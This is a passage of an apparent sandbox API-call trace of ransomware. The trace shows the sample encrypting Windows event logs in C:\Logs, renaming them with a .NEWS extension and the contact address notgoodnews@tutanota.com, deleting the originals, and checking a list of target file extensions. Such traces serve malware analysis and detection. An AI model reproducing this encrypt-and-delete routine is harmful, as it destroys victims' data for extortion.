(hObject=0x2c4) returned 1 [0077.851] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0077.851] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.852] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.852] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.852] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.852] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0077.853] GetLastError () returned 0x0 [0077.853] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.855] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.857] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.857] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x14a, lpOverlapped=0x0) returned 1 [0077.857] SetEndOfFile (hFile=0x380) returned 1 [0077.857] CloseHandle (hObject=0x380) returned 1 [0077.860] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.860] SetEndOfFile (hFile=0x2c4) returned 1 [0077.861] CloseHandle (hObject=0x2c4) returned 1 [0077.861] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.861] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.862] lstrlenW (lpString=".doc") returned 4 [0077.862] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString=".docx") returned 5 [0077.862] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.862] lstrlenW (lpString=".pdf") returned 4 [0077.862] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString=".xls") returned 4 [0077.862] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString=".xlsx") returned 5 [0077.862] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.862] lstrlenW (lpString=".ppt") returned 4 [0077.862] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.862] lstrlenW (lpString=".zip") returned 4 [0077.862] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString=".rar") returned 4 [0077.862] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString=".bz2") returned 4 [0077.862] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString=".7z") returned 3 [0077.862] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.862] lstrlenW (lpString=".dbf") returned 4 [0077.862] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.862] lstrlenW (lpString=".1cd") returned 4 [0077.862] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.862] lstrlenW (lpString=".jpg") returned 4 [0077.862] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.863] lstrlenW (lpString=".doc") returned 4 [0077.863] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString=".docx") returned 5 [0077.863] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.863] lstrlenW (lpString=".pdf") returned 4 [0077.863] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString=".xls") returned 4 [0077.863] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString=".xlsx") returned 5 [0077.863] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.863] lstrlenW (lpString=".ppt") returned 4 [0077.863] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.863] lstrlenW (lpString=".zip") returned 4 [0077.863] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString=".rar") returned 4 [0077.863] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString=".bz2") returned 4 [0077.863] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString=".7z") returned 3 [0077.863] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.863] lstrlenW (lpString=".dbf") returned 4 [0077.863] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.863] lstrlenW (lpString=".1cd") returned 4 [0077.863] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0077.863] lstrlenW (lpString=".jpg") returned 4 [0077.863] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.864] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.864] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0077.864] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.864] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0077.864] CloseHandle (hObject=0x2c4) returned 1 [0077.864] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0077.864] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.864] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.864] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.864] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.864] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0077.865] GetLastError () returned 0x0 [0077.865] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.867] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.869] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.869] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x132, lpOverlapped=0x0) returned 1 [0077.869] SetEndOfFile (hFile=0x380) returned 1 [0077.870] CloseHandle (hObject=0x380) returned 1 [0077.872] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.872] SetEndOfFile (hFile=0x2c4) returned 1 [0077.873] CloseHandle (hObject=0x2c4) returned 1 [0077.873] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.873] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0077.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.874] lstrlenW (lpString=".doc") returned 4 [0077.874] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString=".docx") returned 5 [0077.874] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.874] lstrlenW (lpString=".pdf") returned 4 [0077.874] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString=".xls") returned 4 [0077.874] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString=".xlsx") returned 5 [0077.874] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.874] lstrlenW (lpString=".ppt") returned 4 [0077.874] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.874] lstrlenW (lpString=".zip") returned 4 [0077.874] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString=".rar") returned 4 [0077.874] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString=".bz2") returned 4 [0077.874] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.874] lstrlenW (lpString=".7z") returned 3 [0077.874] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.874] lstrlenW (lpString=".dbf") returned 4 [0077.874] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString=".1cd") returned 4 [0077.875] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString=".jpg") returned 4 [0077.875] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString=".doc") returned 4 [0077.875] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString=".docx") returned 5 [0077.875] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.875] lstrlenW (lpString=".pdf") returned 4 [0077.875] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString=".xls") returned 4 [0077.875] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString=".xlsx") returned 5 [0077.875] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.875] lstrlenW (lpString=".ppt") returned 4 [0077.875] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString=".zip") returned 4 [0077.875] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString=".rar") returned 4 [0077.875] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString=".bz2") returned 4 [0077.875] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString=".7z") returned 3 [0077.875] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString=".dbf") returned 4 [0077.875] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.875] lstrlenW (lpString=".1cd") returned 4 [0077.876] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0077.876] lstrlenW (lpString=".jpg") returned 4 [0077.876] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.876] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.876] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0077.876] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.451] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0078.451] CloseHandle (hObject=0x37c) returned 1 [0078.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0078.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.452] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.452] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.452] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.455] GetLastError () returned 0x0 [0078.455] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.472] WriteFile (in: hFile=0x35c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.473] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.473] WriteFile (in: hFile=0x35c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x132, lpOverlapped=0x0) returned 1 [0078.474] SetEndOfFile (hFile=0x35c) returned 1 [0078.474] CloseHandle (hObject=0x35c) returned 1 [0078.476] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.476] SetEndOfFile (hFile=0x37c) returned 1 [0078.477] CloseHandle (hObject=0x37c) returned 1 [0078.477] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.477] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0078.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.478] lstrlenW (lpString=".doc") returned 4 [0078.478] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString=".docx") returned 5 [0078.478] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.478] lstrlenW (lpString=".pdf") returned 4 [0078.478] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString=".xls") returned 4 [0078.478] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString=".xlsx") returned 5 [0078.478] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.478] lstrlenW (lpString=".ppt") returned 4 [0078.478] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.478] lstrlenW (lpString=".zip") returned 4 [0078.478] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString=".rar") returned 4 [0078.478] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString=".bz2") returned 4 [0078.478] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.478] lstrlenW (lpString=".7z") returned 3 [0078.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.479] lstrlenW (lpString=".dbf") returned 4 [0078.479] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.479] lstrlenW (lpString=".1cd") returned 4 [0078.479] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.479] lstrlenW (lpString=".jpg") returned 4 [0078.479] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.479] lstrlenW (lpString=".doc") returned 4 [0078.479] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString=".docx") returned 5 [0078.479] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.479] lstrlenW (lpString=".pdf") returned 4 [0078.479] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString=".xls") returned 4 [0078.479] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString=".xlsx") returned 5 [0078.479] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.479] lstrlenW (lpString=".ppt") returned 4 [0078.479] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.479] lstrlenW (lpString=".zip") returned 4 [0078.479] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString=".rar") returned 4 [0078.479] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString=".bz2") returned 4 [0078.479] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.479] lstrlenW (lpString=".7z") returned 3 [0078.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.480] lstrlenW (lpString=".dbf") returned 4 [0078.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.480] lstrlenW (lpString=".1cd") returned 4 [0078.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0078.480] lstrlenW (lpString=".jpg") returned 4 [0078.480] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.480] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.480] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0078.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.482] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0078.482] CloseHandle (hObject=0x35c) returned 1 [0078.482] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0078.482] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0078.483] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.483] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0078.484] GetLastError () returned 0x0 [0078.484] ReadFile (in: 